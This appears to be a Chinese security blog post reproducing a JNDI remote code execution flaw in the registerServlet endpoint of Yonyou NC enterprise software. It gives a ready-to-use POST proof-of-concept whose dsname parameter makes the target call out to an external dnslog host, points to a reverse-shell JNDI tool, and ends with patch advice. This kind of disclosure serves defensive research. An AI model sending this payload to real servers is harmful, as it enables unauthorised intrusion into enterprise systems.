用友NC系统JNDI 远程代码执行漏洞(JNDI)

admin
admin
admin
137435
文章
113
评论
2024年8月5日15:27:07评论96 views字数 754阅读2分30秒阅读模式
用友NC系统JNDI 远程代码执行漏洞(JNDI)
0x01漏洞介绍

用友NC是一款企业级的管理软件。它基于互联网应用，具有强大的集团管控功能和灵活的自定义功能，可以满足企业复杂业务流程的需求。同时，NC还提供了全程的客户化服务能力，能够快速响应用户的业务需求。总体来说，用友NC是一款功能全面、使用灵活的企业管理软件，能够广泛应用于各种类型的企业，助力其实现信息化和数字化管理，用友NC registerServlet接口处存在JNDI 远程代码执行漏洞。

用友NC系统JNDI 远程代码执行漏洞(JNDI)
0x02影响版本

用友-UFIDA-NC

用友NC系统JNDI 远程代码执行漏洞(JNDI)
0x03漏洞复现

1.访问漏洞环境

用友NC系统JNDI 远程代码执行漏洞(JNDI)

2.对漏洞进行复现

 POC （POST）

漏洞复现

POST /portal/registerServlet HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36Content-Type: application/x-www-form-urlencodedContent-Length: 68
type=1&dsname=dns://jjjupp.dnslog.cn

测试DNSlog命令回显

用友NC系统JNDI 远程代码执行漏洞(JNDI)

JNDI工具使用参考如下：

Oracle WebLogic Server 远程代码执行漏洞(CVE-2023-21839)反弹shell

3.nuclei工具测试（漏洞存在）

用友NC系统JNDI 远程代码执行漏洞(JNDI)

用友NC系统JNDI 远程代码执行漏洞(JNDI)
0x04修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://www.yonyou.com/https://security.yonyou.com/#/home

原文始发于微信公众号（弥天安全实验室）：【成功复现】用友NC系统JNDI 远程代码执行漏洞(JNDI)

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日15:27:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   用友NC系统JNDI 远程代码执行漏洞(JNDI)https://cn-sec.com/archives/2765205.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息